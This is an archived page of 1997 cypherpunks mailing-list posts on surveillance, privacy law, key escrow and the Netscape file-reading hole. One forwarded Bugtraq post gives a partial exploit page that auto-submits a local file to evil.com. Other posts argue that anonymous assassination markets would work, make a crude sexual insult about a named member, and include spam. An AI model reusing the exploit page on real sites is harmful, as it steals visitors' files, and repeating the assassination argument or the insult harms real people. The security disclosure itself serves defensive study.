December 2003 - cypherpunks-legacy

Life inside the Beltway
by Chip Mefford 17 Dec '03

17 Dec '03

New technology for the cops. It brings tears of joy to my eyes to think of all the children that this new technology will save. -------------begin included text-------------------------- Alexandria police have a new high-tech tool to help them catch fugitives and find missing people. Police officials last week unveiled new digital scanners and cellular transmitters that allow cruisers to transmit photographs in less than a minute. That means an officer can scan in a family photo of a lost child and send it to all active patrol cars nearly instantly. The technology also lets the police send photos to the National Center for Missing and Exploited Children, which can then pass information on to other police departments. "In the search for a missing child, time is the enemy," said Ernie Allen, president of the Arlington-based center. "The more quickly we can provide a child's image, the greater the likelihood we can find the child." Alexandria and College Station, Tex., are the first two police departments in the country to get this image technology, officials said. Although the two departments use different computer systems, they are able to send pictures to each other via a computer center in Florida. At a demonstration last week, a College Station car sent a photo to an Alexandria cruiser in about 40 seconds, and a photo from the National Center took about the same time. It takes the same amount of time to send a photo to one car as to broadcast it to all of the cruisers, allowing the department to blanket an area with images immediately, officials said. The same technology will allow Alexandria to send photos to neighboring jurisdictions as soon as they get computers that receive digital images. Federal Highway Administration officials said they expect this kind of system to become widely available over the next two years. Alexandria is spending $800,000 to outfit its patrol cars with the new scanners and portable computers that can run criminal record checks. Adding the scanning technology "is an opportunity we just couldn't miss," said Lt. Michael Clancey, who commands the vice-narcotics division. Most of the money for the computers -- $500,000 -- comes from two federal grants and assets seized from criminals, officials said. The department is buying 82 computers, ensuring that most on-duty cars will have them. "Alexandria has been on the forefront of creative development in the use of technology," said Daniel Rosenblatt, director of the International Association of Chiefs of Police. © Copyright 1997 The Washington Post Company By Brooke A. Masters --------------------------------------------------------------------

1 0

Re: FCPUNX:There's no general right to privacy -- get over it, from Netly
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 02:27 PM 6/13/97 -0400, tzeruch(a)ceddec.com wrote: > Today the Nazi's would simply pay Experian (was TRW) for their databases. > I think the IRS already does. I do not see private organizations bothering to collect data on racial identity, except where they are compelled to by the government. > --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: There's no general right to privacy -- get over it, from Netly
by Rich Graves 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- William H. Geiger III <whgiii(a)amaranth.com> wrote: > Well this is rather a poor example. The requirment of a census was written > into the costitution and with good reason. Many of the government actions > are based on demographics congressional districting is a prime example. > > There is a fight going on in cogress right now as the current > administration wants to be able to gestimate the census rather than doing > an actuall head count so it can manipulate the figures any way it wants > (ie change the figures in key congressional districts so they can re-draw > them to favor their supporters). Not that I feel strongly either way, but the other way to look at this is that the current Congress likes its cozy little districts and likes restricting the census to people with permanent addresses, which tends to bias the figures in favor of suburbia. I certainly agree with the fundamental points that censuses and districting have always been important, and hence political[ly corrupted]. Anyone here descended from 3/5ths people? - -rich http://www.stanford.edu/~llurch/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBM6HgHJNcNyVVy0jxAQEmsgH+IWGzDmFvmlCIKSxw26xaP4+tBRHhdRDu BT572zIvqjQfh/4B31qOzOjjWh6cFCEREXE/9bzHaRmyOYA3YfP+EQ== =8mJR -----END PGP SIGNATURE-----

1 0

The World's Smartest Highway (opened earlier this week)
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

The worlds smartest highway opens tomorrow. So far, Highway 407 runs 36 km between Brampton and Markham, Ontario. Eventually it will cover an additional 33 km, and cost a total of $929.8 million over $13,000 per meter. What does that buy for Ontario commuters? The highway has a series of UHF radio antennae that pick up signals from small transponders installed in commuters vehicles. The highway measures the distance a vehicle travels, and deducts a per-kilometer fee from the owners credit card or prepaid account. The fee is 10 cents per kilometer in rush hour, 7 cents in off-peak hours, and 4 cents at night. Thats not a first a few U.S. toll highways have similar systems. But the 407 is the first highway able to send bills to drivers without transponders, without stopping them at toll booths. Overhead gantries along the highway take video images of license plates as vehicles travel the highway. The bill comes in the mail with a $1 premium. Ontario expects to pull in $40 million a year from Highway 407 tolls in theory. The license-plate billing system has never been tested under heavy traffic. The highway will be watching but not charging for the next 30 days or so, while Hughes Aircraft and Bell Canada, the companies who designed the system, hammer out the kinks. Related links: Canadian Highways International Corporation -30- Copyright ) 1997 Convergent Publishing Ltd. All rights reserved. [INLINE] Canadian Highways International Corporation http://www.chichwys.com http://www.theconvergence.com

1 0

Re: Wired News' War Correspondent on kiddie porn
by Rich Graves 17 Dec '03

17 Dec '03

> http://www.wired.com/news/culture/story/4437.html > > Hacker Vows 'Terror' for Child Pornographers > by Steve Silberman [...] > "Basically, we're talking about a Dirty Harry attitude," one network > technician/cypherpunk told Wired News. Though he senses "real feeling" > behind Se7en's battle cry, he feels that the best way to deal with > pornographers is to "turn the police loose on them." Grr. Didn't notice that on first reading. Of course I meant evidence of criminal child abuse that Mike Godwin considers illegal, not "pornography." Since he snipped my name on request, though, I suppose I can't really complain. -rich http://www.stanford.edu/~llurch/

1 0

Wired News' War Correspondent on kiddie porn
by Rich Graves 17 Dec '03

17 Dec '03

Full text: http://www.wired.com/news/culture/story/4437.html Hacker Vows 'Terror' for Child Pornographers by Steve Silberman 2:32pm 13.Jun.97.PDT After 17 years in the hacker underground, Christian Valor - well known among old-school hackers and phone phreaks as "Se7en" - was convinced that most of what gets written in the papers about computers and hacking is sensationalistic jive. For years, Valor says, he sneered at reports of the incidence of child pornography on the Net as "exaggerated/over-hyped/fearmongered/bullshit." Now making his living as a lecturer on computer security, Se7en claims he combed the Net for child pornography for eight weeks last year without finding a single image. That changed a couple of weeks ago, he says, when a JPEG mailed by an anonymous prankster sent him on an odyssey through a different kind of underground: IRC chat rooms with names like #littlegirlsex, ftp [...] On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of "genuine hacker terror" to those who upload and distribute such images on the Net. The debate over his methods has stirred up tough questions among his peers about civil liberties, property rights, and the ethics of vigilante justice. [I was not aware that he'd sent it to DefCon first, with cypherpunks as a secondary distribution. That explains the language barrier Lizard noticed.] Se7en claims to have already "taken down" a "major player" - an employee of Southwestern Bell who Se7en says was "posting ads all over the place." Se7en told Wired News that he covertly watched the man's activities for days, gathering evidence that he emailed to the president of Southwestern Bell. Pseudonymous remailers like hotmail.com and juno.com, Se7en insists, provide no security blanket [...] A couple of days after submitting message headers and logs to the president and network administrators of Southwestern Bell, Se7en says, he got a letter saying the employee was "no longer on the payroll." The hacker search for acceptance Se7en's declaration of war received support on the original mailing list. "I am all for freedom of speech/expression," wrote one poster, "but there are some things that are just wrong.... I feel a certain moral obligation to the human race to do my part in cleaning up the evil." [...] Pitching in to assist the Feds just isn't the hacker way. As one poster to the DefCon list put it, "The government can't enforce laws on the Internet. We all know that. We can enforce laws on the Internet. We all know that too." The DefCon list was not a unanimous chorus of praise for Se7en's plan to give the pornographers a taste of hacker terror, however. The most vocal dissenter has been Declan McCullagh, Washington correspondent for the Netly News. McCullagh is an outspoken champion of constitutional rights, and a former hacker himself. [Wired forgot the (tm).] "Few people seem to realize that the long-standing federal child-porn law outlawed pictures of dancing girls wearing leotards," McCullagh wrote - alluding to the conviction of Stephen Knox, a graduate student sentenced to five years in prison for possession of three videotapes of young girls in bathing suits. The camera, the US attorney general pointed out, lingered on the girls' genitals, though they remained clothed. "The sexual implications of certain modes of dress, posture, or movement may readily put the genitals on exhibition in a lascivious manner, without revealing them in a nude display," the Feds argued - and won. [Declan fails to recognize that everybody here already knows this, and agrees that Knox was the victim of hysteria.] The menace of child porn is being exploited by "censor-happy" legislators to "rein in this unruly cyberspace," McCullagh says. The rush to revile child porn on the DefCon list, McCullagh told Wired News, reminded him of the "loyalty oaths" of the McCarthy era. [With James Donald, on the other hand, no analogies are necessary.] But McCullagh is not alone. As the debate over Se7en's declaration spread to the cypherpunks mailing list and alt.cypherpunks - frequented by an older crowd than the DefCon list - others expressed similar reservations over Se7en's plan. "Basically, we're talking about a Dirty Harry attitude," one network technician/cypherpunk told Wired News. Though he senses "real feeling" behind Se7en's battle cry, he feels that the best way to deal with pornographers is to "turn the police loose on them." [ROFL. I insisted on not being identified because I didn't want any conflict with Declan, and here he has me AGREEING with him. Cool! And in context, a good addition to the story.] It's not JPEGs of clothed ballerinas that raise his ire, Se7en says. It's "the 4-year-olds being raped, the 6-year-old forced to have oral sex with cum running down themselves." Such images, Se7en admits, are very rare - even in online spaces dedicated to trading sexual imagery of children. "I know what I'm doing is wrong. I'm trampling on the rights of these guys," he says. "But somewhere in the chain, someone is putting these images on paper before they get uploaded. Your freedom ends when you start hurting other people." [I.e., we ain't talking about Knox or Angeli, folks.] -rich http://www.stanford.edu/~llurch/

1 0

Re: Do reporters have special rights the rest of us don't have?
by Secret Squirrel 17 Dec '03

17 Dec '03

Tim May wrote: > (I have no problems with private agents, e.g., Microsoft or > whatever, limiting contacts to the "main" reporters. It's their > property. If they grant interviews to Declan, Brock, John, Steve, > etc., and not to me, I cannot claim my "rights" were violated. > Government functions are another matter, and I would generally favor > letting anyone claiming to be a reporter in to government press > conferences...to do anything else is to give licensing and > credentials to speech, which the government should have no right to > do. If they need to hold press conferences in RFK Stadium, so be > it.) Are you proposing the President can't choose who he meets? Whether such a meeting is called a "press conference" is irrelevant. The legitimization of reporters through the use of "press credentials" by the government can only occur when people operating the news channels and their customers allow it to happen. Panther Modern

2 1

Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
by Secret Squirrel 17 Dec '03

17 Dec '03

Declan McCullagh wrote: >Ray Arachelian wrote: >> Yes, I do take privacy seriously, and I do protect it. But to say >> anyone has the right to snoop my machines and see what I have there >> is NOT cool. What I leave on my computer is my private business, >> and NOBODY HAS THE RIGHT TO SURF IT WITHOUT MY PERMISSION. Whether >> or not they have root. >I'm not saying that people have a "right to surf (?) it without your >permission." That's a violation of your property rights, a trespass. >But if you connect to my web site, I should be allowed to record >whatever info leaks from your computer. Don't like it? Cut the flow >or don't come. "Trespass" is a misleading term. The person "trespassing" doesn't have to leave their chair. What really happens is that somebody sets up a machine that will transmit information when it receives certain combinations of bits. Then the machine is made available to the whole world. It is most reasonable to put the burden for security on the person who wants to make their machine available to the whole world. The legal approach has several problems. 1. It is ineffective and gives a false sense of security. 2. It undermines the demand for secure machinery. (Intentional: the people in governments believe secure machinery threatens their positions.) 3. It brings up problems with borders and seignority. 4. Such laws are expensive to enforce if we are to observe legal customs like "innocent until proven guilty." 5. The legal prohibitions break down under the very circumstances when we most want our systems to remain secure: times of war and times of social unrest or revolution. Panther Modern

1 0

PLEASE DON'T PASS THIS UP
by 65188000＠22151.com 17 Dec '03

17 Dec '03

<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3> NEW ON THE NET. Wouldn't you have liked to have been part of the first group to join Amway in the 60s, or purchased stock from a small company called Wal-Mart in the 70s, or invested in a small computer chip maker called Intel in the 80s. Anybody that made the choices above are sitting pretty well at the moment Here in the 90s, a new company was launched on the Internet, Sunday June 1st This young company has positioned itself to be among the major players for years to come. This is NOT a get rich quick scheme. This is simply a new company, with fresh ideas. A a new company that people are going to hear a lot about. If you would like to become a part of all the excitement, and learn more, simply send a blank e-mail to success02(a)megd.com Please put the words "MORE INFO" in the subject field. You will be sent complete info in seconds THIS IS TRULY A COMPANY AHEAD OF IT'S TIME. Thank You For Your Time. Just send a blank e-mail to success02(a)megd.com for a fast reply </FONT><FONT COLOR="#000000" SIZE=3>

1 0

Re: IBM sues critics?
by John Smith 17 Dec '03

17 Dec '03

Can someone explain the difference between key recovery and key escrow? The IBM white paper describes it at http://www.ibm.com/security/html/pp_global5.html in terms of giving a keys or a combination to your neighbors, but the analogy was hard to follow. "John --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

2 1

Impact of Netscape kernel hole (fwd)
by Paul Bradley 17 Dec '03

17 Dec '03

>It'd be nice to have more specifics about the whole situation, but >regardless - any preliminary threat assessments? Exactly how widely >exploited do you think this has been? > >Tim's post (although refuted by Marc) raises some serious issues since I >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > >Some coherent input on the possible impact of this would be appreciated. Basically the threat model is very simple: Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in c:\pgp on a dos/w95 box. The average user of any of the unices keeps his keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts to go through most of the common places. The very same guy probably has a password that is: A. FRED (notice how close the letters are, this is a real dumb-ass password of the century) B. His wifes name C. Her birthday D. The name of his favourite film or some character from it... Can you say "dictionary attack"???. I must admit I personally, against all the rules, keep my pgp secret key on this box. This doesn`t worry be greatly because: 1. I have a strong passphrase. 2. This box is only on dialup, so is not connected for long, and I VERY rarely use the web anyway, Its too slow, so I prefer ftpmail and ftp for getting files. This corresondingly reduces the risk of me having used a site that exploited this hole. 3. If I ever have anything to recieve that needs to be really secure I use a one time key pair, so even the RSA key is one time. Most PGP mail I send or recieve is fairly innocuous and the use of encryption is just precautionary, ie. to stop nosy sysadmins. What it basically comes down to is that Joe Sixpack, the guy most likely to have his key compromised by this attack, is: 1. Not likely to be sending valuable enough mail to expend time mounting even a simple dictionary attack on his key. 2. The least likely to know about, understand or respond to this flaw. So basically the threat is the usual one: The stupid will get caught. If you are sending highly criminal mail your key shouldn`t be on any machine not 12 feet underground in a concrete bunker with 24 hour fully trusted security guards, CCTV etc. etc. anyway. Datacomms Technologies data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey"

5 5

This is NOT trespassing.
by cypherpunks＠Algebra.COM 17 Dec '03

17 Dec '03

Did you pay for your TV? Do you buy electricity by the KWH? Pay a monthly cable bill? If so, then why isn't a television commercial considered theft of your televised resources? Doesn't it cost something to ride the bus? Then why aren't the public transport's advertisers guilty of stealing your wallspace? What about newspapers, magazines, radio stations, going to the movies, driving on any road, almost any PAID activity in life? Each has its attendent advertisments and commercials. We PAY for an enormous percentage of solicitations. Everyday. WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? Fact is, it isn't. Nor will it ever be. When you make any contact in public via any media or communication form, there will come invitations, solicitations, possibly vexations and the like. It's one of the prices we must pay in order to be able to communicate at all. P.S. sure is hard to tell what's "blue" these days.

2 1

[ANNOUNCEMENT] Forgery detection
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Timmy May studied yoga back-streching exercises for five years so he could blow himself (nobody else will). ,,, -ooO(o o)Ooo- Timmy May (_)

2 1

Re: FCPUNX:Flag Burning...
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

On 13 Jun 97 at 1:20, RS wrote: > To allow someone to publicly burn a flag is essentially displaying our > freedom being burned. Who is that most gravely desecrates the American flag? Those who burn it, spit on it, shit on it? Or those who violate the principles for which it stands? --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: FCPUNX:Netscape Security Flaw is a Feature
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 09:33 PM 6/12/97 -0700, Tim May wrote: > According to Netscape spokesmen, this feature was added to the kernel of > Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery > Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy > Denning asked us to insert the "remote read" capabilities to ensure that > the legitimate needs of law enforcement are met. No person cruising the Web > has any expectation of privacy, as even Declan McCullagh has pointed out." > > Marc Rotenberg commented, "Privacy at the individual user level is > unimportant, just so long as a Privacy Ombudsman can decide on the > legitimate needs of law enforcement." Please cut the spoofing, or add visible indication of when you are spoofing for the benefit of the less well informed amongst our audience. I suggest that any spoof you write should come not from Tim May, but from Class B Citizen Unit 8387 Tim May. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: FCPUNX:Untraceable Contract Killings
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 05:39 PM 6/10/97 -0700, Wei Dai wrote: > I think the novelty of Bell's scheme is that it allows assassination > payments to be pooled from a large number of anonymous payers without > explicit coordination (i.e., the payers do not have to communicate with > each other to work out a contract, etc.). For killing a neighbor it > doesn't improve upon the simple untraceable contract, but it can make a > big difference when the target has many enemies (Bell gave politicians as > an example). > > Now in light of the fact that when the target has many enemies the > assassination becomes a non-excludable public good, it is almost certain > that the scheme cannot actually work in practice. All of the potential > payers would rather free-ride and let others pay, so the public good ends > up not being "produced". This not correct: Public goods are underproduced, but they are produced. Thus Bell's scheme would lead to less than the economically optimal number of political assassinations, but this is still a great deal more than zero, and still likely to have substantial effect on political behavior. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

IBM sues critics?
by Secret Squirrel 17 Dec '03

17 Dec '03

According to a usually reliable contact in a position to know, IBM Friday filed a liable suit against the 11 authors of the study titled "The risks of key recovery, key escrow and trusted third-party encryption" plus their employers and the Centere for Democracy and Technology, which sponsored the report. According to my contact, IBM feels that the report directly targets their own key recovery system, and falsely implies that it isn't reliable. They are asking for unspecified damages. This means IBM is suing such people as Matt Blaze, Whitfield Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT over the question of whether its key recovery system really works. Considering that truth is a defense and the details of the IBM system could be part of the defense's evidence, it should be an interesting trial to say the least. I have not seen the actual court papers and really have no idea whether my contact is totally accurate. Can anyone confirm the details? I just read the study in question, and it sounds like IBM is totally out of line and trying to intimidate its critics with threats of expensive if frivolous lawsuits. On the other hand, some of the parties named in the suit (Microsoft, AT&T) have their own armies of lawyers to defend themselves, so it's hard to be sure of what's going on here. I think the report is still at www.crypto.com or www.cdt.org.

4 3

Re: IBM sues critics?
by John Young 17 Dec '03

17 Dec '03

Secret Squirrel wrote: >According to a usually reliable contact in a position to know, IBM Friday >filed a liable suit against the 11 authors of the study >titled "The risks of key recovery, key escrow and trusted third-party >encryption" plus their employers and the Centere for Democracy and >Technology, which sponsored the report. According to my contact, IBM >feels that the report directly targets their own key recovery system, >and falsely implies that it isn't reliable. They are asking for >unspecified damages. If this report is true it's worth taking a look at IBM's policy paper "The need for a global cryptographic policy framework" to understand why the key study report is such a threat to Blue's global market strategy: http://www.ibm.com/security/html/pp_global.html IBM's economic incentive to attack the report is substantial, not least because it hopes to garner the lion's share of global GAK -- not that that's news.

1 0

Netscape Exploit
by Lucky Green 17 Dec '03

17 Dec '03

>Approved-By: aleph1(a)UNDERGROUND.ORG >Date: Sat, 14 Jun 1997 19:21:30 -0500 >Reply-To: root <root(a)BACKWATER.PBX.ORG> >Sender: Bugtraq List <BUGTRAQ(a)NETSPACE.ORG> >From: root <root(a)BACKWATER.PBX.ORG> >Subject: Netscape Exploit >To: BUGTRAQ(a)NETSPACE.ORG > >Here is a sample it isn't complete but you get the basic idea of what is >going on ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > ><BODY onLoad="daForm.submit()"> ><FORM > NAME="daForm" > ACTION="http://evil.com/cgi-bin/formmail.pl" > METHOD=POST> > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your >Harddrive"> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > >and so on and so forth... --Lucky Green <shamrock(a)netcom.com> PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm

2 1

e$: Skins vs. Shirts
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Sat, 14 Jun 1997 14:02:41 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: e$: Skins vs. Shirts At 10:28 am -0400 on 6/14/97, Adam Shostack wrote: > Are FAT file lists stored as files? > > On a Unix box, /. refers to the file containing directory > entries, the list of files in the directory. If there is an analogous > file on a dos box, you can explore. (Does the bug work on Unix? I've > heard it only works if java or livescript are turned on, so it hasn't > worried me enough to investigate.) All this reminds me of something Tim May, Eric Hughes, and others have said before. Once you've gotten to the point where loss of security equals, in a very literal sense, loss of money, the incentive to publicize any given security hole starts to go away. Adam, above, is speculating about the mechanics of a Netscape security hole, which, two years ago, would have gotten someone like Ian Goldberg a grand and a t-shirt, but probably only after they had published it on the net, just like Mssrs Goldberg and Wagner had to do, in order to get Netscape's attention. That included directions for how to replicate the problem. Back then, we wouldn't have been speculating about the mechanics of the hole, because people would be playing with it to see how it worked. As it is, latest hole was published in terms of its results only, and not its mechanics. Instead, those precious details were relased only to Netscape, and only for, NPR says, "an undisclosed sum". Lest we think of this as latter-day greenmail, we have to remember that greenmail actually had it's putative effect, which was to increase the returns to the shareholders by increasing the stock price. It was never fair to begrudge T. Boone Pickens the pound of flesh he extracted from companies like Phillips Petroleum, mostly because the pound he cut off was usually lard, anyway. Not to compare Netscape to a Pritikin candidate, of course. Nobody can see all the consequences of tens or hundreds of thousands of lines of code, and the very best way to solve the semantic problem that poses is the internet way, by swarming it to death. With that in mind, I expect that the next stage in this increasing security "price" escallation will be much more interesting. It won't be long before the first people who say anything about a new security hole will be people who have money stolen from them, and not much will be said by the people who discover those holes in the first place. And, of course, lots of those people probably won't be so virtuous in their use of what they figure out, either. We're about to enter a new era of parallel evolution, much like the relationship between cheeetahs and Thompson's gazelles, where a constant arms race makes predator and prey more efficient, excellerating evolution in both species. Now, I don't think this forgives people from publishing their source code, far from it. I expect that people selling financial cryptography and allied commercial products will still have to publish their source, or nobody will trust it enough buy it. I'm just saying that it will tend to be the victims, and probably not the next generation of "moneypunks", who will be announcing the failure of any given commerce application. So, instead being one of free shirts, the game will be one of payment in, um, skins. And, before long, there will be many more skins out there belonging to people who are spending money than the people who accidentally built the wallets with holes in them could ever pay in gre$enmail. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

7 10

Re: Impact of Netscape kernel hole
by geeman＠best.com 17 Dec '03

17 Dec '03

At 10:28 AM 6/14/97 -0400, Adam Shostack wrote: > > >| >Tim's post (although refuted by Marc) raises some serious issues since I >| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > > Are FAT file lists stored as files? not exactly. you cannot just open and read. you must jump hoops; but does the nscp hole allow execution of arbitrary code? that would be much worse .... > > On a Unix box, /. refers to the file containing directory >entries, the list of files in the directory. If there is an analogous >file on a dos box, you can explore. so, no: not unless you can write your own foreign code and run it on the victim pc. (Does the bug work on Unix? I've >heard it only works if java or livescript are turned on, so it hasn't >worried me enough to investigate.) > >Adam > > > >-- >"It is seldom that liberty of any kind is lost all at once." > -Hume > > > >

1 0

Re: Rotenberg as the Uber Enemy
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Robert A. Costner wrote: > At 10:13 PM 5/30/97 -0700, Tim May wrote: > >The latest quote is from Marc Rotenberg, on a CNN piece on spam and > >anti-spam legislation, saying that what the legislators in Congress really > >need to look into is how the spammers develop their data bases..... > ... > >Incredible. Does he propose investigations of private data gathering? > > I'd agree here. Rather than have Congress blindly pass a law, some > investigation of the matter should be done first. While I am not supporting a > law, any such law should have three parts: I don't support a new Holocaust, but if we are going to build gas chambers for killing Jews, they should be... When you are on a car lot "just looking" at the new models, the sales person quickly gets you deciding on the color and other features that you would want if you *did* purchase a car. You end up driving home in a car you can't afford and with a vague feeling that the sales person might be the one who is responsible for all that legislation that keeps getting passed for your benefit. > For good or for bad, the current movement in lawmaking is to plug these > loopholes that exist for email. Judging from the governments past success in plugging the "loopholes" that allow people to exercise their right to Free Speech, I am certain they will be able to "save" us from the incredible danger that spam represents to our well-being. > >Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. > > Then you miss the point. For all practical purposes, the spam industry does > not exist in the US. > The current > spam bills are meant to address the actions of about five people in the entire > United States. If the small number of people affected is the basis for justifying the action taken on the issue, then we could just kill them. If you are going to rob a bank, take *all* of the money. If you are going to rape someone, then put it *all* the way in. {"Your honour, I would like to point out that my client only raped five women, and he didn't even stick his schlong all the way in. That hardly puts him in the same category as a *real* rapist.} > The manner in which the information is collected is invasive. People feel > their privacy is being violated. The right to be left alone is a fundamental > right. Somebody forgot to tell the government. > -- Robert Costner Phone: (770) 512-8746 > Electronic Frontiers Georgia mailto:pooh@efga.org If you are in any way profiting from the EFG, whether monetarily or by increased reputation capital, etc., then your post is an Unsolicited Commercial Email. If not, then it is spam. I can say this with absolute authority, because I am the person who decides which of my mail is spam and which is not. Encryption businesses sometimes post announcements of new releases and the like on the cypherpunks list and I don't usually consider it to be spam. DataETR posted an announcement on the list and then complained mightily when cypherpunks asked serious questions about their product. In my mind, that made their announcement just another commercial product spam. Now that they have made an effort to actually participate in the list by "listening" to the list members I no longer consider them to be just another commercial spammer. A few list members who have a product or cause to push do so without adding any real input to the list. In my mind, their posts are usually as interesting as reading about how someone is making "BIG $$$" by spamming me. Tom Weinstein, of Netscape, actually "participates" in the list by discussing the pro's and con's of his product and others, and being generally realistic about his company's product. If his posts were nothing more than claims about how Netscape would get those nasty stains out of my shorts, then I would consider them spam. Jim Bell beat his "Assassination Politics" drum to the point where he beat it to death and his posts became unwanted spam to some on the list. I read privacy related announcements and the like from organizations which are theoretically in alliance with the general aims of the list and consider many of them to be useless spam. "XXXX Organization Fighting For Legislation That Only Fucks Over Five People!" "YYYY Organization Supports Bill That Lets Government Cut Off One Of Each Citizen's Fingers, Instead Of Two!" As far as I am concerned, any organization that is "fighting" for "my" rights by getting involved in political lobbying/activism, etc., holds no interest for me as a cypherpunk. There is not a mother's son among them who isn't soon knee-deep in self-serving "deals" and "compromise." I don't participate in this list to read self-serving missives which attempt to justify career activists' participation in the government's dark comedy. If Bill Clinton posted his announcements in regard to government crypto policy on the cypherpunks list, I would consider it to be spam. If he sincerely solicited my opinion on the policies, then he would be a list participant. There are some list members whose posts are so knee-jerk and unthinking that they amount to nothing more than an unsolicited commercial advertisement for their precious self-image. Please! Don't fight for legislation to protect me from their posts. I would be tempted to support legislation requiring certain list members to put "BORING AND STUPID" in the Subject header, but then I would probably be forced to put "CYNICAL AND PESSIMISTIC" in my own Subject headers. My failure to include a donation to your organization with this post is not an oversight. C&P

1 0

Re: There's something wrong when I'm a felon under an increasing number of
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Kent Crispin wrote: > > > > A major nail in the coffin of Justice for any accused in the U.S. > > > was when the justice system promoted the concept of guilt by virtue > > > of "circumstantial" evidence to the point where people can now be > > > convicted as a result of speculation rather than evidence. Prosecutors > > > now seem to need only to convince the sheeple that it was "possible" > > > for the defendant to have commited the crime and that circumstantial > > > evidence points *only* to the accused. > I don't understand the animus against circumstantial evidence, > frankly. Some circumstantial evidence is extremely good evidence. The problem is the addition of a mountain of bullshit which is presented as "evidence" in most prosecutions in order to throw enough crap at the defendant to ensure that some of it will stick. For example, do we really need to have a forensic expert tell us that a paramilitaristic individual (McVeigh) has traces of things such as gunpowder, etc., in his clothing? This has about as much meaning as producing "evidence" that McVeigh took a crap while he was in custody to "prove" that he ate the food delivered to the motel room in question. Do we need a series of people to bend over backwards to produce evidence that a telephone calling card PIN number that could have been used by anybody *might* have been used to place certain calls? Perhaps the above examples couldn't be used to support *real* evidence of McVeigh's guilt, but there seems to be precious little of that. In contrast, there is even stronger evidence that precludes McVeigh having been driving the truck used in the bombing. And what kind of "evidence" is a mountain of horrific examples of dead bodies, etc? It is "evidence" that "somebody has to pay" for the bombing. Would McVeigh be "innocent" if the prosecution showed only *one* picture of dead bodies? What we see in the justice system today is reflective of the same mentality that pervades legal and social issues surrounding the development, implementation and use of technologies which relate to our privacy and freedom. The government "encryption prosecutors" use the same techniques as criminal prosecutors to plead their case. They smear you and I with the same brush used on drug dealers and child pornographers so that use of cryptography is now "circumstantial evidence" of our being guilty of "something." We are being prosecuted for use of encryption on the basis of circumstantial evidence that someone, somewhere is using cryptography and commiting crimes. I don't have any evidence that places Kent Crispin at the scene of the OKC bombing, but we do know that use of PGP was involved in the crime. Combined with Michael Fortier's testimony about Kent's involvement, I think we can get a guilty verdict. As I said previously, the problem with circumstantial evidence is that it is increasingly being combined with emotional rhetoric to convict people who "could have" 